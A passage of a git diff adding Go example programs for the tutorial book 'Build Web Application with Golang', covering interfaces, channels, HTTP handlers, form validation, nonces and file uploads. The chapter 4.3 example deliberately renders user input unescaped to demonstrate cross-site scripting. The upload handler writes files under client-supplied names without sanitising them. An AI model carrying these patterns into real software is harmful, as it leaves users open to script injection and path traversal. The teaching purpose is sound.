newX := p.Elem() + newX.SetFloat(7.1) + fmt.Println("newX =", newX) + fmt.Println("newX float64() value:", newX.Float()) +} +func main() { + show_interface_none() + show_reflection() +} diff --git a/en/code/src/apps/ch.2.6/stringer_interface/main.go b/en/code/src/apps/ch.2.6/stringer_interface/main.go new file mode 100644 index 00000000..310eb0ee --- /dev/null +++ b/en/code/src/apps/ch.2.6/stringer_interface/main.go @@ -0,0 +1,22 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// Human implemented fmt.Stringer +func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone +} + +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} diff --git a/en/code/src/apps/ch.2.6/switch_type_check/main.go b/en/code/src/apps/ch.2.6/switch_type_check/main.go new file mode 100644 index 00000000..9d781675 --- /dev/null +++ b/en/code/src/apps/ch.2.6/switch_type_check/main.go @@ -0,0 +1,38 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/en/code/src/apps/ch.2.6/type_check/main.go b/en/code/src/apps/ch.2.6/type_check/main.go new file mode 100644 index 00000000..bb051f47 --- /dev/null +++ b/en/code/src/apps/ch.2.6/type_check/main.go @@ -0,0 +1,37 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/en/code/src/apps/ch.2.7/buffered_channel/main.go b/en/code/src/apps/ch.2.7/buffered_channel/main.go new file mode 100644 index 00000000..f65e06f2 --- /dev/null +++ b/en/code/src/apps/ch.2.7/buffered_channel/main.go @@ -0,0 +1,13 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use a buffered channel +package main + +import "fmt" + +func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} diff --git a/en/code/src/apps/ch.2.7/goroutine/main.go b/en/code/src/apps/ch.2.7/goroutine/main.go new file mode 100644 index 00000000..bdf1f5c1 --- /dev/null +++ b/en/code/src/apps/ch.2.7/goroutine/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to launch a simple gorountine +package main + +import ( + "fmt" + "runtime" +) + +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } +} + +func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine +} diff --git a/en/code/src/apps/ch.2.7/range_and_close_channel/main.go b/en/code/src/apps/ch.2.7/range_and_close_channel/main.go new file mode 100644 index 00000000..ce2c4311 --- /dev/null +++ b/en/code/src/apps/ch.2.7/range_and_close_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to close and interate through a channel +package main + +import ( + "fmt" +) + +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x+y + } + close(c) +} + +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } +} diff --git a/en/code/src/apps/ch.2.7/select_channel/main.go b/en/code/src/apps/ch.2.7/select_channel/main.go new file mode 100644 index 00000000..50b23781 --- /dev/null +++ b/en/code/src/apps/ch.2.7/select_channel/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use `select` +package main + +import "fmt" + +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x+y + case <-quit: + fmt.Println("quit") + return + } + } +} + +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} diff --git a/en/code/src/apps/ch.2.7/timeout/main.go b/en/code/src/apps/ch.2.7/timeout/main.go new file mode 100644 index 00000000..4e937dbb --- /dev/null +++ b/en/code/src/apps/ch.2.7/timeout/main.go @@ -0,0 +1,27 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a timeout +package main + +import ( + "fmt" + "time" +) + + +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <-c: + fmt.Println(v) + case <-time.After(5 * time.Second): + fmt.Println("timeout") + o <- true + break + } + } + }() + <-o +} diff --git a/en/code/src/apps/ch.2.7/unbuffered_channel/main.go b/en/code/src/apps/ch.2.7/unbuffered_channel/main.go new file mode 100644 index 00000000..455fd4ba --- /dev/null +++ b/en/code/src/apps/ch.2.7/unbuffered_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a unbuffered channel +package main + +import "fmt" + +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c +} + +func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x+y) +} diff --git a/en/code/src/apps/ch.3.2/main.go b/en/code/src/apps/ch.3.2/main.go new file mode 100644 index 00000000..f8af3fdf --- /dev/null +++ b/en/code/src/apps/ch.3.2/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to acces the form values from the request +package main + +import ( + "fmt" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() // parse arguments, you have to call this by yourself + fmt.Println(r.Form) // print form information in server side + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // send data to client side +} + +func main() { + http.HandleFunc("/", sayhelloName) // set router + err := http.ListenAndServe(":9090", nil) // set listen port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/en/code/src/apps/ch.3.4/main.go b/en/code/src/apps/ch.3.4/main.go new file mode 100644 index 00000000..fb3a5c72 --- /dev/null +++ b/en/code/src/apps/ch.3.4/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 3.4 from "Build Web Application with Golang" +// Purpose: Shows how to create a handler for `http.ListenAndServe()` +// Run `go run main.go` then access `http://localhost:9090` +package main + +import ( + "fmt" + "net/http" +) + +type MyMux struct { +} + +func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return +} + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") +} + +func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) +} diff --git a/en/code/src/apps/ch.4.1/login.gtpl b/en/code/src/apps/ch.4.1/login.gtpl new file mode 100644 index 00000000..91cd5035 --- /dev/null +++ b/en/code/src/apps/ch.4.1/login.gtpl @@ -0,0 +1,12 @@ + + + + + +
+ Username: + Password: + +
+ + diff --git a/en/code/src/apps/ch.4.1/main.go b/en/code/src/apps/ch.4.1/main.go new file mode 100644 index 00000000..04daedc1 --- /dev/null +++ b/en/code/src/apps/ch.4.1/main.go @@ -0,0 +1,48 @@ +// Example code for Chapter 4.1 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple login using a template +// Run: `go run main.go`, then access `http://localhost:9090` and `http://localhost:9090/login` +package main + +import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response +} + +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } +} + +func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/en/code/src/apps/ch.4.2/main.go b/en/code/src/apps/ch.4.2/main.go new file mode 100644 index 00000000..63284146 --- /dev/null +++ b/en/code/src/apps/ch.4.2/main.go @@ -0,0 +1,59 @@ +// Example code for Chapter 4.2 from "Build Web Application with Golang" +// Purpose: Shows how to perform server-side validation of user input from a form. +// Also shows to use multiple template files with predefined template names. +// Run `go run main.go` and then access http://localhost:9090 +package main + +import ( + "apps/ch.4.2/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost:" + PORT +) + +var t *template.Template + +type Links struct { + BadLinks [][2]string +} + +// invalid links to display for testing. +var links Links + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", links) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + p := validator.ProfilePage{&r.Form} + t.ExecuteTemplate(w, "submission", p.GetErrors()) +} + +// This function is called before main() +func init() { + // Note: we can reference the loaded templates by their defined name inside the template files. + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) + + list := make([][2]string, 2) + list[0] = [2]string{HOST_URL + "/checkprofile", "No data"} + list[1] = [2]string{HOST_URL + "/checkprofile?age=1&gender=guy&shirtsize=big", "Invalid options"} + links = Links{list} +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/en/code/src/apps/ch.4.2/profile.gtpl b/en/code/src/apps/ch.4.2/profile.gtpl new file mode 100644 index 00000000..2eca7a8f --- /dev/null +++ b/en/code/src/apps/ch.4.2/profile.gtpl @@ -0,0 +1,89 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ +
+

Invalid submissions

+
    {{range .BadLinks}} +
  1. {{index . 1}}
  2. + {{end}} +
+ + +{{end}} \ No newline at end of file diff --git a/en/code/src/apps/ch.4.2/submission.gtpl b/en/code/src/apps/ch.4.2/submission.gtpl new file mode 100644 index 00000000..fdeceed6 --- /dev/null +++ b/en/code/src/apps/ch.4.2/submission.gtpl @@ -0,0 +1,16 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/en/code/src/apps/ch.4.2/validator/main.go b/en/code/src/apps/ch.4.2/validator/main.go new file mode 100644 index 00000000..35111231 --- /dev/null +++ b/en/code/src/apps/ch.4.2/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/en/code/src/apps/ch.4.3/index.gtpl b/en/code/src/apps/ch.4.3/index.gtpl new file mode 100644 index 00000000..f8ac28fe --- /dev/null +++ b/en/code/src/apps/ch.4.3/index.gtpl @@ -0,0 +1,28 @@ + + + +

Cross Site Scripting Attack Test

+ {{if .}} + Previous User Input:
+ +
{{.}}
+ {{end}} +
+ +
+ +
+ +
+ + + diff --git a/en/code/src/apps/ch.4.3/main.go b/en/code/src/apps/ch.4.3/main.go new file mode 100644 index 00000000..20b9d454 --- /dev/null +++ b/en/code/src/apps/ch.4.3/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 4.3 from "Build Web Application with Golang" +// Purpose: Shows how to properly escape input +package main + +import ( + "html/template" + "net/http" + textTemplate "text/template" +) + +var t *template.Template = template.Must(template.ParseFiles("index.gtpl")) + +func index(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + t.Execute(w, template.HTMLEscapeString(userInput)) + } else { + // Variables with type `template.HTML` are not escaped when passed to `.Execute()` + t.Execute(w, template.HTML(userInput)) + } +} +func templateHandler(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + // `html/template.Execute()` escapes input + t.Execute(w, userInput) + } else { + tt := textTemplate.Must(textTemplate.ParseFiles("index.gtpl")) + // `text/template.Execute()` doesn't escape input + tt.Execute(w, userInput) + } +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/template", templateHandler) + http.ListenAndServe(":9090", nil) +} diff --git a/en/code/src/apps/ch.4.4/main.go b/en/code/src/apps/ch.4.4/main.go new file mode 100644 index 00000000..280f7ef1 --- /dev/null +++ b/en/code/src/apps/ch.4.4/main.go @@ -0,0 +1,54 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to prevent duplicate submissions by using tokens +// Example code for Chapter 4.4 based off the code from Chapter 4.2 +// Run `go run main.go` then access http://localhost:9090 +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost:" + PORT +) + +var submissions nonce.Nonces +var t *template.Template + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", submissions.NewNonce()) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseForm() + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + p := validator.ProfilePage{&r.Form} + errs = p.GetErrors() + } + t.ExecuteTemplate(w, "submission", errs) +} +func init() { + submissions = nonce.New() + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/en/code/src/apps/ch.4.4/nonce/main.go b/en/code/src/apps/ch.4.4/nonce/main.go new file mode 100644 index 00000000..2e1663fe --- /dev/null +++ b/en/code/src/apps/ch.4.4/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/en/code/src/apps/ch.4.4/profile.gtpl b/en/code/src/apps/ch.4.4/profile.gtpl new file mode 100644 index 00000000..34833086 --- /dev/null +++ b/en/code/src/apps/ch.4.4/profile.gtpl @@ -0,0 +1,85 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ + +
+ + +{{end}} diff --git a/en/code/src/apps/ch.4.4/submission.gtpl b/en/code/src/apps/ch.4.4/submission.gtpl new file mode 100644 index 00000000..456ff678 --- /dev/null +++ b/en/code/src/apps/ch.4.4/submission.gtpl @@ -0,0 +1,17 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted.
+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/en/code/src/apps/ch.4.4/validator/main.go b/en/code/src/apps/ch.4.4/validator/main.go new file mode 100644 index 00000000..35111231 --- /dev/null +++ b/en/code/src/apps/ch.4.4/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/en/code/src/apps/ch.4.5/client_upload/main.go b/en/code/src/apps/ch.4.5/client_upload/main.go new file mode 100644 index 00000000..5757cc77 --- /dev/null +++ b/en/code/src/apps/ch.4.5/client_upload/main.go @@ -0,0 +1,46 @@ +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func postFile(filename string, targetUrl string) { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + checkError(err) + + fh, err := os.Open(filename) + checkError(err) + + _, err = io.Copy(fileWriter, fh) + checkError(err) + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + resp, err := http.Post(targetUrl, contentType, bodyBuf) + checkError(err) + + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + checkError(err) + + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) +} +func main() { + target_url := "http://localhost:9090/upload" + filename := "../file.txt" + postFile(filename, target_url) +} diff --git a/en/code/src/apps/ch.4.5/index.gtpl b/en/code/src/apps/ch.4.5/index.gtpl new file mode 100644 index 00000000..aa1149c6 --- /dev/null +++ b/en/code/src/apps/ch.4.5/index.gtpl @@ -0,0 +1,15 @@ +{{define "index"}} + + + + Upload file + + +
+ + + +
+ + +{{end}} diff --git a/en/code/src/apps/ch.4.5/main.go b/en/code/src/apps/ch.4.5/main.go new file mode 100644 index 00000000..24591dcf --- /dev/null +++ b/en/code/src/apps/ch.4.5/main.go @@ -0,0 +1,64 @@ +// Example code for Chapter 4.5 +// Purpose is to create a server to handle uploading files. +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "fmt" + "html/template" + "io" + "mime/multipart" + "net/http" + "os" +) + +const MiB_UNIT = 1 << 20 + +var t *template.Template +var submissions nonce.Nonces = nonce.New() + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func indexHandler(w http.ResponseWriter, r *http.Request) { + err := t.ExecuteTemplate(w, "index", submissions.NewToken()) + checkError(err) +} +func uploadHandler(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseMultipartForm(32 * MiB_UNIT) + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + file, handler, err := r.FormFile("uploadfile") + checkError(err) + saveUpload(file, handler) + } + err := t.ExecuteTemplate(w, "upload", errs) + checkError(err) +} +func saveUpload(file multipart.File, handler *multipart.FileHeader) { + defer file.Close() + fmt.Printf("Uploaded file info: %#v", handler.Header) + localFilename := fmt.Sprintf("./uploads/%v.%v", handler.Filename, submissions.NewToken()) + f, err := os.OpenFile(localFilename, os.O_WRONLY|os.O_CREATE, 0666) + checkError(err) + defer f.Close() + _, err = io.Copy(f, file) + checkError(err) +} +func init() { + var err error + t, err = template.ParseFiles("index.gtpl", "upload.gtpl") + checkError(err) +} +func main() { + http.HandleFunc("/", indexHandler) + http.HandleFunc("/upload", uploadHandler) + err := http.ListenAndServe(":9090", nil) + checkError(err) +} diff --git a/en/code/src/apps/ch.4.5/nonce/main.go b/en/code/src/apps/ch.4.5/nonce/main.go new file mode 100644 index 00000000..2e1663fe --- /dev/null +++ b/en/code/src/apps/ch.4.5/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return 